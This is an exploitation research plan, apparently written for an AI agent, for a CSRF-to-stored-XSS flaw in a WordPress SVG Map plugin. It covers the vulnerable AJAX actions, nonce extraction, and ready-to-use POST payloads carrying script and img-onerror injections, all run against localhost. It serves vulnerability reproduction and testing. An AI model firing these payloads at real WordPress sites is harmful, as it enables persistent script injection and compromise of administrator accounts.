Exploitation Research Plan: CVE-2025-13519 (SVG Map Plugin)

1. Vulnerability Summary

The SVG Map by Smjrifle plugin (versions up to 1.0.0) is vulnerable to Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS). Multiple AJAX actions, specifically save_data, delete_data, and add_popup, fail to implement proper nonce validation (or use incorrect validation logic). This allows an attacker to trick a logged-in administrator into making unintended requests that modify map settings, delete data, or inject malicious JavaScript into the map configuration.

2. Attack Vector Analysis

• Endpoints: /wp-admin/admin-ajax.php
• AJAX Actions: save_data (Primary for XSS), delete_data, add_popup.
• HTTP Method: POST
• Authentication: Requires a logged-in Administrator session (targeted via CSRF).
• Payload Parameter: Likely a JSON string or specific POST fields representing map data (e.g., data, content, or popup_text).
• Preconditions: An administrator must be tricked into visiting an attacker-controlled page while authenticated.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers AJAX handlers using add_action('wp_ajax_save_data', ...) and add_action('wp_ajax_add_popup', ...).
2. Missing Check: Inside the callback functions for these actions, there is either no call to check_ajax_referer() or wp_verify_nonce(), or the check is incorrectly implemented (e.g., ignoring the return value).
3. Data Processing: The handler retrieves user input from $_POST.
4. Database Sink: The input is stored in the database via update_option() or $wpdb->insert()/update().
5. Output (XSS): When the SVG map is rendered on the frontend or admin dashboard, the unsanitized input is printed directly into the HTML, executing the injected script.

4. Nonce Acquisition Strategy

The vulnerability description states "missing or incorrect nonce validation." If validation is truly missing, no nonce is required. However, if the agent needs to verify an "incorrect" implementation or if the plugin attempts to use a nonce but fails to verify it properly:

1. Identify Script Localization: Search the source for wp_localize_script.
2. Create Trigger Page: Create a page with the map shortcode (inferred to be [svg-map] or similar based on plugin slug).

   wp post create --post_type=page --post_status=publish --post_title="Map Test" --post_content='[svg-map]'
   

3. Extract Nonce via Browser:
   • Navigate to the created page using browser_navigate.
   • Use browser_eval to find potential nonce objects:

     // Inferred variable names based on common plugin patterns
     window.svg_map_obj?.nonce || window.smjrifle_map_data?.security
     

4. Source Check: If source is available, grep for the action used in wp_create_nonce to ensure the correct string is used in the exploit.

5. Exploitation Strategy

We will target the save_data action to inject a Stored XSS payload via CSRF.

Step 1: Craft the CSRF Request

The request will be a POST to admin-ajax.php.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=save_data&data={"id":"1","title":"<script>alert(origin)</script>","other_params":"..."}
  

  (Note: The exact structure of the data parameter needs to be verified by looking at the plugin's JS or PHP handler.)

Step 2: Execute via Agent

Since the agent simulates the "attacker" and "victim" roles in an isolated environment, it can perform the request using the administrator's cookies directly to demonstrate the lack of CSRF protection.

// Using http_request tool
const response = await http_request({
  url: "http://localhost:8080/wp-admin/admin-ajax.php",
  method: "POST",
  form: {
    action: "save_data",
    data: '{"title":"<script>alert(\'XSS\')</script>"}' // Payload
  }
});

6. Test Data Setup

1. Active Plugin: Ensure svg-map-by-saedi is installed and activated.
2. Create Map Instance: If the plugin requires an existing map ID, create one through the admin UI or via wp eval.
3. Administrator User: Use the existing admin account to perform the authenticated request.

7. Expected Results

• HTTP Response: A successful JSON response (e.g., {"success":true} or 1) despite no nonce being provided.
• Database Change: The malicious <script> tag is stored in the plugin's configuration options or database tables.
• XSS Execution: Navigating to the page where the map is displayed triggers a JavaScript alert.

8. Verification Steps

1. Check Database:

   wp option get svg_map_data --format=json
   # OR if it uses a custom table
   wp db query "SELECT * FROM wp_svg_maps"
   

2. Frontend Check:
   Navigate to the page containing the map and check for the presence of the payload:

   browser_eval("document.body.innerHTML.includes('<script>alert')")
   

9. Alternative Approaches

• Target add_popup: If save_data is well-sanitized, try the add_popup action. Popups often involve HTML content and are frequently overlooked during sanitization.
  • Payload: action=add_popup&map_id=1&content=<img src=x onerror=alert(1)>
• Target delete_data: To demonstrate CSRF without XSS, attempt to delete all map data by sending a request to delete_data without a nonce. Success confirms the CSRF vulnerability.